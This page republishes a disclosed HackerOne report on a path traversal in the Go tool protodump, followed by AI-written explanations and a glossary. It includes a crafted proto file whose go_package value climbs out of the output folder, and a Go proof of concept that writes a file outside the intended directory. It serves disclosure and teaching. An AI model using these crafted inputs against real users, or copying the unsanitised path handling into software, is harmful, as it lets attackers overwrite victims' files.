Skip to content
Path traversal Disclosed report Intermediate

Arbitrary File Write

Protodump extracts the go_package option from protobuf descriptors without sanitising it, so a crafted binary can make the tool write a .proto file outside the chosen output directory. An attacker who gets a victim to run protodump on their binary could overwrite files the victim can write.

newby99 Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 27 hours
  • Fixed in 5 days
  • Disclosed after 5 days

Hi,

Protodump contains a path traversal vulnerability that allows to write files to arbitrary locations on the filesystem outside the intended output directory. This occurs due to insufficient validation of the go_package option extracted from protobuf descriptors embedded in analyzed binaries.

The Filename() function extracts the go_package option from protobuf descriptors without sanitization:

(pkg/protodump/protodump.go)

func (pd *ProtoDefinition) Filename() string {
    goPackage := pd.pb.GetOptions().GetGoPackage()
    index := strings.Index(goPackage, ";")
    if index == -1 {
        return pd.descriptor.Path()
    }
    // BUG: No sanitization of goPackage path
    return path.Join(goPackage[:index], path.Base(pd.descriptor.Path()))
}

The goPackage value comes directly from the protobuf descriptor being analyzed and can contain path traversal sequences like ../../../

The main function uses this unsanitized filename to construct the output path:

filename := definition.Filename()
if strings.HasSuffix(filename, ".proto") {
    dir := path.Join(*output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    os.MkdirAll(dir, 0700)
    os.WriteFile(final, []byte(definition.String()), 0700)
    fmt.Printf("Wrote %s\n", final)
}

The attack vector is the following: an attacker creates a binary containing a protobuf descriptor with a malicious go_package option:

syntax = "proto3";
package exploit;

// Malicious path traversal
option go_package = "../../../tmp/pwned;exploit";

message MaliciousMessage {
  string data = 1;
}

When the user runs protodump on this binary, the tool writes the extracted proto file outside the intended output directory (overriding any existing files with the same name in the target location)... Here is a poc emulating the code:

package main

import (
    "fmt"
    "os"
    "path"
    "path/filepath"
    "strings"
)

func main() {
    // Get absolute path for output directory
    output, _ := filepath.Abs("./safe_output")

    // Attacker-controlled values from malicious proto
    maliciousGoPackage := "../../../tmp/pwned;exploit"
    protoName := "evil.proto"

    fmt.Println("=== Protodump Path Traversal Vulnerability PoC ===")
    fmt.Println()

    // VULNERABLE CODE: Replicate protodump's logic
    index := strings.Index(maliciousGoPackage, ";")
    var filename string
    if index == -1 {
        filename = protoName
    } else {
        filename = path.Join(maliciousGoPackage[:index], protoName)
    }

    dir := path.Join(output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    finalAbs, _ := filepath.Abs(final)

    fmt.Println("Configuration:")
    fmt.Printf("  Intended output: %s\n", output)
    fmt.Printf("  Malicious input: %s\n", maliciousGoPackage)
    fmt.Println()

    fmt.Println("Path Computation:")
    fmt.Printf("  filename: %s\n", filename)
    fmt.Printf("  final:    %s\n", finalAbs)
    fmt.Println()

    // Create the file
    os.MkdirAll(dir, 0755)
    content := "syntax = \"proto3\";\n\npackage exploit;\n\nmessage Pwned { string data = 1; }\n"
    os.WriteFile(final, []byte(content), 0644)

    fmt.Println("Result:")
    fmt.Printf("  Expected: %s/evil.proto\n", output)
    fmt.Printf("  Actual:   %s\n", finalAbs)
    fmt.Println()

    if !strings.HasPrefix(finalAbs, output) {
        fmt.Println("VULNERABILITY CONFIRMED: File written outside intended directory")
    }
}

Impact

arbitrary file write on user's machine

Affected Version: Latest (commit 17ad807, verified October 2025) Repository: https://github.com/arkadiyt/protodump Installation: go install github.com/arkadiyt/protodump/cmd/protodump@latest

The original report as published on HackerOne, by newby99. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Protodump is a Go tool, published at https://github.com/arkadiyt/protodump, that analyses binaries and extracts the protobuf descriptors embedded in them. For each descriptor it finds, it reconstructs a .proto file and writes it to disk, so that you end up with readable proto definitions for the messages a compiled program carries around.

The output location is chosen by the user through an output flag, and the tool builds each file's path from two pieces: the directory the user asked for, and a filename derived from the descriptor itself. That second piece is where the problem sits. The Filename() method reads the go_package option out of the descriptor and uses part of it as a directory component, without checking what that string contains.

Because the go_package option is attacker-controlled data that travels inside the binary being analysed, a crafted binary can steer the write outside the intended output directory. The report classifies this as a path traversal leading to arbitrary file write on the user's machine, rated high severity with a CVSS score of 8.6.

Setup

The tool is installed from source with the standard Go toolchain:

Bash
go install github.com/arkadiyt/protodump/cmd/protodump@latest

The report states that the issue was verified against the latest version at the time, commit 17ad807, in October 2025. No account, role or special privilege is needed on the victim side: the precondition is simply that a user runs protodump against a binary that an attacker supplied or influenced. The attacker needs the ability to build a binary containing a protobuf descriptor with a chosen go_package option.

Finding it

The starting point is the Filename() function in pkg/protodump/protodump.go. It pulls the go_package option from the descriptor, looks for a semicolon, and if one is present, joins the part before the semicolon with the base name of the descriptor path:

Go
func (pd *ProtoDefinition) Filename() string {
    goPackage := pd.pb.GetOptions().GetGoPackage()
    index := strings.Index(goPackage, ";")
    if index == -1 {
        return pd.descriptor.Path()
    }
    // BUG: No sanitization of goPackage path
    return path.Join(goPackage[:index], path.Base(pd.descriptor.Path()))
}

The value returned here is not a constant or a value the tool controls: it comes straight out of the protobuf descriptor being analysed. The go_package option is a free-form string in the proto file, and nothing in the descriptor format prevents it from containing ../ sequences. The comment in the code marks the missing sanitisation, and the researcher followed the value into the code that consumes it.

The main function takes the filename returned by Filename() and uses it to build the output path:

Go
filename := definition.Filename()
if strings.HasSuffix(filename, ".proto") {
    dir := path.Join(*output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    os.MkdirAll(dir, 0700)
    os.WriteFile(final, []byte(definition.String()), 0700)
    fmt.Printf("Wrote %s\n", final)
}

Two things stand out. First, path.Join cleans the path, which means ../ segments are resolved rather than rejected: joining *output with a traversal sequence walks up out of the output directory instead of failing. Second, the resulting path is used directly with os.MkdirAll and os.WriteFile, with no check that the final path still sits under *output. The write is unconditional, so an existing file at the target path is overwritten.

Exploitation

Step 1: craft a proto with a malicious go_package

The attacker writes a proto file whose go_package option contains a traversal sequence before the semicolon:

Text
syntax = "proto3";
package exploit;

// Malicious path traversal
option go_package = "../../../tmp/pwned;exploit";

message MaliciousMessage {
  string data = 1;
}

The part before the semicolon, ../../../tmp/pwned, becomes the directory component of the filename. The part after the semicolon is the Go package name and is discarded by Filename(). The message itself is unremarkable; it exists so the descriptor is compiled into the binary.

Step 2: build the binary

The proto is compiled and its descriptor embedded in a binary, which is then delivered to the victim. The report does not describe the delivery mechanism; the attack assumes the user runs protodump on the attacker's binary.

Step 3: the victim runs protodump

When the user runs protodump on that binary, the tool extracts the descriptor, calls Filename(), and gets back a path built from ../../../tmp/pwned and the base name of the descriptor path. The main function joins that with the output directory, resolves the traversal, creates the directories and writes the extracted proto file at the resolved location. The file lands outside the intended output directory, and any existing file with the same name at that location is overwritten.

Step 4: confirm with a standalone proof of concept

The report includes a self-contained Go program that reproduces the tool's path logic without needing protodump itself:

Go
package main

import (
    "fmt"
    "os"
    "path"
    "path/filepath"
    "strings"
)

func main() {
    // Get absolute path for output directory
    output, _ := filepath.Abs("./safe_output")

    // Attacker-controlled values from malicious proto
    maliciousGoPackage := "../../../tmp/pwned;exploit"
    protoName := "evil.proto"

    fmt.Println("=== Protodump Path Traversal Vulnerability PoC ===")
    fmt.Println()

    // VULNERABLE CODE: Replicate protodump's logic
    index := strings.Index(maliciousGoPackage, ";")
    var filename string
    if index == -1 {
        filename = protoName
    } else {
        filename = path.Join(maliciousGoPackage[:index], protoName)
    }

    dir := path.Join(output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    finalAbs, _ := filepath.Abs(final)

    fmt.Println("Configuration:")
    fmt.Printf("  Intended output: %s\n", output)
    fmt.Printf("  Malicious input: %s\n", maliciousGoPackage)
    fmt.Println()

    fmt.Println("Path Computation:")
    fmt.Printf("  filename: %s\n", filename)
    fmt.Printf("  final:    %s\n", finalAbs)
    fmt.Println()

    // Create the file
    os.MkdirAll(dir, 0755)
    content := "syntax = \"proto3\";\n\npackage exploit;\n\nmessage Pwned { string data = 1; }\n"
    os.WriteFile(final, []byte(content), 0644)

    fmt.Println("Result:")
    fmt.Printf("  Expected: %s/evil.proto\n", output)
    fmt.Printf("  Actual:   %s\n", finalAbs)
    fmt.Println()

    if !strings.HasPrefix(finalAbs, output) {
        fmt.Println("VULNERABILITY CONFIRMED: File written outside intended directory")
    }
}

The program mirrors the vulnerable logic exactly: it takes an absolute output directory, splits the malicious go_package on the semicolon, joins the prefix with the proto name, then joins the result with the output directory and resolves it to an absolute path. It prints the intended output, the malicious input, the computed filename and the final absolute path, then creates the directories and writes the file. The last check compares the final absolute path against the output directory prefix; if the file is outside, it prints VULNERABILITY CONFIRMED: File written outside intended directory. The program's final check prints VULNERABILITY CONFIRMED: File written outside intended directory when the computed path falls outside the output directory.

Root cause

The mistake is trusting a value from the analysed input as a path component. Filename() takes the go_package option verbatim, strips everything after the semicolon, and joins the remainder with the descriptor's base name. There is no check for .. segments, absolute paths or any other path metacharacter, and the comment in the code acknowledges the missing sanitisation.

The second half of the problem is in the caller. path.Join is a cleaning function, not a containment function: it happily resolves ../ and produces a path outside *output. The code then uses that path with os.MkdirAll and os.WriteFile without verifying that the result is still under the output directory. Because os.WriteFile overwrites existing files, the write is not limited to creating new files in empty locations.

Impact

An attacker who can get a user to run protodump on a crafted binary can cause the tool to write files to arbitrary locations on that user's filesystem, outside the intended output directory, overwriting any existing file with the same name at the target location. The report describes the impact as arbitrary file write on the user's machine. The content written is the reconstructed proto text generated by the tool, so the practical effect depends on which paths the user's permissions allow the tool to write to and what an overwritten file is used for. The report does not go further into escalation paths.

Fix

The report does not describe a fix or a patch. Treating the go_package value as untrusted input rather than as a trusted directory name is the underlying correction.

Variants to test

  1. Other descriptor options used as paths. Look for tools that read options such as go_package, java_package or similar and use them to build output paths. A positive result is a crafted descriptor whose option contains ../ and a file appearing outside the chosen output directory.
  2. Absolute paths in the option. Try a go_package value that begins with / rather than a relative traversal. A positive result is the tool writing to that absolute location instead of under the output directory.
  3. Overwrite of an existing file. Place a file with the expected name at the traversal target before running the tool. A positive result is the file's contents being replaced by the extracted proto text.
  4. Symlinked output directories. Point the output directory at a symlink and check whether the containment check, if any, is done on the resolved path. A positive result is a write that escapes the directory the user believes they selected.
  5. Other extraction tools consuming embedded metadata. Apply the same reasoning to any tool that reconstructs files from descriptors, debug info or embedded resources: if any field of the embedded data becomes part of a path, test it with traversal sequences and confirm whether the final path is validated against the intended root.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Protodump is a small program written in the Go programming language. You give it a compiled program (a "binary") and it digs out the protobuf definitions that were baked into it, then saves them as readable text files on your computer. Protobuf is a way of describing data structures so that different programs can talk to each other; a .proto file is the human-readable description of those structures. Protodump's job is to give you those .proto files back when all you have is the compiled program.

When you run protodump you tell it where to put the files it produces, for example a folder called safe_output. The tool is supposed to write everything inside that folder. The researcher found that it does not always do that. If the binary you feed it was built by someone with bad intentions, that person can hide a special instruction inside the binary that makes protodump write its output file somewhere else entirely, anywhere the program is allowed to write on your machine, and overwrite any existing file that happens to have the same name.

The report calls this a path traversal leading to arbitrary file write. Path traversal means tricking a program into leaving the folder it was meant to stay in by using .. (which means "go up one folder"). Arbitrary file write means the attacker gets to choose where a file is written. The report rates it high severity with a CVSS score of 8.6. CVSS is a standard scoring system for how serious a security flaw is, on a scale up to 10.

Background: what protodump does and where the flaw lives

Protodump is published at https://github.com/arkadiyt/protodump. It analyses binaries and extracts the protobuf descriptors embedded in them. A descriptor is the machine-readable form of a .proto file: the same information (message names, fields, options) stored in a structured way inside the compiled program. For each descriptor it finds, protodump reconstructs a .proto file and writes it to disk, so you end up with readable proto definitions for the messages a compiled program carries around.

The output location is chosen by the user through an output flag. A flag is a command-line option, the extra words you type after a program's name to change its behaviour. The tool builds each file's path from two pieces: the directory the user asked for, and a filename derived from the descriptor itself. That second piece is where the problem sits. The Filename() method reads the go_package option out of the descriptor and uses part of it as a directory component, without checking what that string contains.

A method here is just a named block of code inside the program. The go_package option is a setting inside a proto file that tells Go code generators what package name to use. It is a free-form piece of text, and nothing stops it from containing slashes and dots.

Because the go_package option is attacker-controlled data that travels inside the binary being analysed, a crafted binary can steer the write outside the intended output directory. The report classifies this as a path traversal leading to arbitrary file write on the user's machine, rated high severity with a CVSS score of 8.6.

Setup

The tool is installed from source with the standard Go toolchain:

Bash
go install github.com/arkadiyt/protodump/cmd/protodump@latest

This command downloads the protodump source code from GitHub and compiles it into a runnable program on your machine. go install is Go's standard way of fetching and building a tool; @latest means "the newest published version".

The report states that the issue was verified against the latest version at the time, commit 17ad807, in October 2025. A commit is a saved snapshot of a code project, identified by a short code like 17ad807, so anyone can look at exactly the same version of the code.

No account, role or special privilege is needed on the victim side: the precondition is simply that a user runs protodump against a binary that an attacker supplied or influenced. The attacker needs the ability to build a binary containing a protobuf descriptor with a chosen go_package option. In other words, the attacker does not need to break into anything; they only need you to run a normal tool on a file they gave you, much like accepting a document from a stranger and opening it.

Finding it

The starting point is the Filename() function in pkg/protodump/protodump.go. A function is a reusable block of code that takes some input and returns a result. This one works out what to call the output file. It pulls the go_package option from the descriptor, looks for a semicolon, and if one is present, joins the part before the semicolon with the base name of the descriptor path:

Go
func (pd *ProtoDefinition) Filename() string {
    goPackage := pd.pb.GetOptions().GetGoPackage()
    index := strings.Index(goPackage, ";")
    if index == -1 {
        return pd.descriptor.Path()
    }
    // BUG: No sanitization of goPackage path
    return path.Join(goPackage[:index], path.Base(pd.descriptor.Path()))
}

Line by line:

  1. func (pd *ProtoDefinition) Filename() string { starts the definition of a function called Filename that belongs to a type called ProtoDefinition and returns a piece of text (a string).
  2. goPackage := pd.pb.GetOptions().GetGoPackage() fetches the go_package option out of the descriptor and stores it in a variable called goPackage. This value came from the binary being analysed, so it is not trusted.
  3. index := strings.Index(goPackage, ";") searches for the first semicolon in that text and records its position. If there is no semicolon, the position is -1.
  4. if index == -1 { checks for that case.
  5. return pd.descriptor.Path() if there is no semicolon, the function simply returns the descriptor's own path and stops.
  6. // BUG: No sanitization of goPackage path is a comment left in the code marking the missing check. Sanitisation means cleaning input so that dangerous characters cannot do harm; here it is absent.
  7. return path.Join(goPackage[:index], path.Base(pd.descriptor.Path())) takes the text before the semicolon, joins it with the last part of the descriptor path (the file name), and returns the result. path.Join glues path pieces together with slashes.

The value returned here is not a constant or a value the tool controls: it comes straight out of the protobuf descriptor being analysed. The go_package option is a free-form string in the proto file, and nothing in the descriptor format prevents it from containing ../ sequences. The comment in the code marks the missing sanitisation, and the researcher followed the value into the code that consumes it.

The main function takes the filename returned by Filename() and uses it to build the output path:

Go
filename := definition.Filename()
if strings.HasSuffix(filename, ".proto") {
    dir := path.Join(*output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    os.MkdirAll(dir, 0700)
    os.WriteFile(final, []byte(definition.String()), 0700)
    fmt.Printf("Wrote %s\n", final)
}

Line by line:

  1. filename := definition.Filename() calls the function above and stores the result.
  2. if strings.HasSuffix(filename, ".proto") { only continues if the name ends in .proto, so only proto files are written.
  3. dir := path.Join(*output, path.Dir(filename)) combines the folder the user chose (*output) with the folder part of the computed filename.
  4. final := path.Join(dir, path.Base(filename)) adds the file name itself, producing the full path to write.
  5. os.MkdirAll(dir, 0700) creates any missing folders along that path. 0700 is a permission setting meaning only the current user may read, write or enter them.
  6. os.WriteFile(final, []byte(definition.String()), 0700) writes the reconstructed proto text to that path, again with owner-only permissions.
  7. fmt.Printf("Wrote %s\n", final) prints a message telling the user where the file went.

Two things stand out. First, path.Join cleans the path, which means ../ segments are resolved rather than rejected: joining *output with a traversal sequence walks up out of the output directory instead of failing. Think of it like a satnav that follows every instruction literally: if you tell it to go up three levels, it does, even if that takes you off the planned route. Second, the resulting path is used directly with os.MkdirAll and os.WriteFile, with no check that the final path still sits under *output. The write is unconditional, so an existing file at the target path is overwritten.

Exploitation

Step 1: craft a proto with a malicious go_package

The attacker writes a proto file whose go_package option contains a traversal sequence before the semicolon:

Text
syntax = "proto3";
package exploit;

// Malicious path traversal
option go_package = "../../../tmp/pwned;exploit";

message MaliciousMessage {
  string data = 1;
}

Line by line:

  1. syntax = "proto3"; says this file uses version 3 of the protobuf language.
  2. package exploit; gives the proto package a name, exploit.
  3. // Malicious path traversal is a comment describing the intent.
  4. option go_package = "../../../tmp/pwned;exploit"; is the important line. The part before the semicolon, ../../../tmp/pwned, is a path that climbs up three folders and then goes into tmp/pwned. The part after the semicolon, exploit, is the Go package name.
  5. message MaliciousMessage { starts the definition of a data structure called MaliciousMessage.
  6. string data = 1; gives it one text field called data.
  7. } closes the message.

The part before the semicolon, ../../../tmp/pwned, becomes the directory component of the filename. The part after the semicolon is the Go package name and is discarded by Filename(). The message itself is unremarkable; it exists so the descriptor is compiled into the binary.

Step 2: build the binary

The proto is compiled and its descriptor embedded in a binary, which is then delivered to the victim. The report does not describe the delivery mechanism; the attack assumes the user runs protodump on the attacker's binary.

Step 3: the victim runs protodump

When the user runs protodump on that binary, the tool extracts the descriptor, calls Filename(), and gets back a path built from ../../../tmp/pwned and the base name of the descriptor path. The main function joins that with the output directory, resolves the traversal, creates the directories and writes the extracted proto file at the resolved location. The file lands outside the intended output directory, and any existing file with the same name at that location is overwritten.

Step 4: confirm with a standalone proof of concept

The report includes a self-contained Go program that reproduces the tool's path logic without needing protodump itself. A proof of concept (PoC) is a small, safe demonstration that shows a flaw is real, so others can reproduce it.

Go
package main

import (
    "fmt"
    "os"
    "path"
    "path/filepath"
    "strings"
)

func main() {
    // Get absolute path for output directory
    output, _ := filepath.Abs("./safe_output")

    // Attacker-controlled values from malicious proto
    maliciousGoPackage := "../../../tmp/pwned;exploit"
    protoName := "evil.proto"

    fmt.Println("=== Protodump Path Traversal Vulnerability PoC ===")
    fmt.Println()

    // VULNERABLE CODE: Replicate protodump's logic
    index := strings.Index(maliciousGoPackage, ";")
    var filename string
    if index == -1 {
        filename = protoName
    } else {
        filename = path.Join(maliciousGoPackage[:index], protoName)
    }

    dir := path.Join(output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    finalAbs, _ := filepath.Abs(final)

    fmt.Println("Configuration:")
    fmt.Printf("  Intended output: %s\n", output)
    fmt.Printf("  Malicious input: %s\n", maliciousGoPackage)
    fmt.Println()

    fmt.Println("Path Computation:")
    fmt.Printf("  filename: %s\n", filename)
    fmt.Printf("  final:    %s\n", finalAbs)
    fmt.Println()

    // Create the file
    os.MkdirAll(dir, 0755)
    content := "syntax = \"proto3\";\n\npackage exploit;\n\nmessage Pwned { string data = 1; }\n"
    os.WriteFile(final, []byte(content), 0644)

    fmt.Println("Result:")
    fmt.Printf("  Expected: %s/evil.proto\n", output)
    fmt.Printf("  Actual:   %s\n", finalAbs)
    fmt.Println()

    if !strings.HasPrefix(finalAbs, output) {
        fmt.Println("VULNERABILITY CONFIRMED: File written outside intended directory")
    }
}

Line by line:

  1. package main declares this is a runnable program.
  2. The import (...) block brings in helper libraries: fmt for printing, os for file operations, path for path handling, path/filepath for turning paths into absolute ones, and strings for text searching.
  3. func main() { is where the program starts.
  4. output, _ := filepath.Abs("./safe_output") turns the relative folder ./safe_output into a full absolute path, so comparisons later are unambiguous. The _ discards an error value the program does not use.
  5. maliciousGoPackage := "../../../tmp/pwned;exploit" sets the attacker-controlled value, the same one from the malicious proto.
  6. protoName := "evil.proto" sets the file name the tool would derive from the descriptor.
  7. The two fmt.Println lines print a title banner and a blank line.
  8. index := strings.Index(maliciousGoPackage, ";") finds the semicolon, exactly as protodump does.
  9. var filename string declares an empty text variable.
  10. if index == -1 { filename = protoName } else { filename = path.Join(maliciousGoPackage[:index], protoName) } mirrors the vulnerable logic: with no semicolon the plain name is used, otherwise the part before the semicolon is joined with the name.
  11. dir := path.Join(output, path.Dir(filename)) combines the intended output folder with the folder part of the computed name.
  12. final := path.Join(dir, path.Base(filename)) adds the file name to get the full target path.
  13. finalAbs, _ := filepath.Abs(final) converts that to an absolute path for a fair comparison.
  14. The next fmt.Println and fmt.Printf lines print the configuration: the intended output folder and the malicious input.
  15. The following fmt.Println and fmt.Printf lines print the path computation: the computed filename and the final absolute path.
  16. os.MkdirAll(dir, 0755) creates the folders. 0755 is a permission setting allowing the owner to read, write and enter, and others to read and enter.
  17. content := "syntax = \"proto3\";\n\npackage exploit;\n\nmessage Pwned { string data = 1; }\n" builds the text that will be written, a small proto file. The \n sequences are line breaks and \" are quote marks inside the text.
  18. os.WriteFile(final, []byte(content), 0644) writes that text to the final path. 0644 means the owner can read and write, others can read.
  19. The next fmt.Println and fmt.Printf lines print the result: where the file was expected and where it actually went.
  20. if !strings.HasPrefix(finalAbs, output) { checks whether the final path does not start with the intended output folder. ! means "not".
  21. fmt.Println("VULNERABILITY CONFIRMED: File written outside intended directory") prints the confirmation message when the check fails.

The program mirrors the vulnerable logic exactly: it takes an absolute output directory, splits the malicious go_package on the semicolon, joins the prefix with the proto name, then joins the result with the output directory and resolves it to an absolute path. It prints the intended output, the malicious input, the computed filename and the final absolute path, then creates the directories and writes the file. The last check compares the final absolute path against the output directory prefix; if the file is outside, it prints VULNERABILITY CONFIRMED: File written outside intended directory. The program's final check prints VULNERABILITY CONFIRMED: File written outside intended directory when the computed path falls outside the output directory.

Root cause

The mistake is trusting a value from the analysed input as a path component. Filename() takes the go_package option verbatim, strips everything after the semicolon, and joins the remainder with the descriptor's base name. There is no check for .. segments, absolute paths or any other path metacharacter, and the comment in the code acknowledges the missing sanitisation. A path metacharacter is a character with special meaning in a path, such as .. or a leading /.

The second half of the problem is in the caller. path.Join is a cleaning function, not a containment function: it happily resolves ../ and produces a path outside *output. The code then uses that path with os.MkdirAll and os.WriteFile without verifying that the result is still under the output directory. Because os.WriteFile overwrites existing files, the write is not limited to creating new files in empty locations.

Impact

An attacker who can get a user to run protodump on a crafted binary can cause the tool to write files to arbitrary locations on that user's filesystem, outside the intended output directory, overwriting any existing file with the same name at the target location. The report describes the impact as arbitrary file write on the user's machine. The content written is the reconstructed proto text generated by the tool, so the practical effect depends on which paths the user's permissions allow the tool to write to and what an overwritten file is used for. The report does not go further into escalation paths.

Fix

The report does not describe a fix or a patch. Treating the go_package value as untrusted input rather than as a trusted directory name is the underlying correction.

Variants to test

  1. Other descriptor options used as paths. Look for tools that read options such as go_package, java_package or similar and use them to build output paths. A positive result is a crafted descriptor whose option contains ../ and a file appearing outside the chosen output directory.
  2. Absolute paths in the option. Try a go_package value that begins with / rather than a relative traversal. A positive result is the tool writing to that absolute location instead of under the output directory.
  3. Overwrite of an existing file. Place a file with the expected name at the traversal target before running the tool. A positive result is the file's contents being replaced by the extracted proto text.
  4. Symlinked output directories. Point the output directory at a symlink and check whether the containment check, if any, is done on the resolved path. A symlink is a shortcut file that points at another file or folder. A positive result is a write that escapes the directory the user believes they selected.
  5. Other extraction tools consuming embedded metadata. Apply the same reasoning to any tool that reconstructs files from descriptors, debug info or embedded resources: if any field of the embedded data becomes part of a path, test it with traversal sequences and confirm whether the final path is validated against the intended root.

Glossary

  • Binary: a compiled program file that the computer can run directly.
  • Protobuf: a system for describing and exchanging structured data between programs.
  • Descriptor: the machine-readable form of a proto definition, stored inside a compiled program.
  • .proto file: a text file describing protobuf messages and options.
  • Path traversal: tricking a program into leaving its intended folder by using .. sequences in a path.
  • Arbitrary file write: a flaw that lets an attacker choose where a file is written on the victim's machine.
  • CVSS: a standard scoring system for the severity of a security flaw, up to 10.
  • Flag: a command-line option that changes how a program behaves.
  • Method / function: a named block of code that takes input and returns a result.
  • go_package option: a setting in a proto file that names the Go package to generate; it is free-form text.
  • Commit: a saved snapshot of a code project, identified by a short code.
  • Sanitisation: cleaning input so dangerous characters cannot cause harm.
  • path.Join: a Go function that glues path pieces together and resolves .. segments.
  • os.MkdirAll: a Go function that creates a folder and any missing parent folders.
  • os.WriteFile: a Go function that writes data to a file, overwriting it if it exists.
  • Proof of concept (PoC): a small demonstration that proves a flaw is real and reproducible.
  • Absolute path: a full path starting from the root of the filesystem.
  • Path metacharacter: a character with special meaning in a path, such as .. or a leading /.
  • Symlink: a shortcut file that points at another file or folder.
  • Containment check: verifying that a computed path stays inside the folder it is supposed to be in.

More by newby99

View all

1 more disclosed report, best first.

More from arkadiyt-projects

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.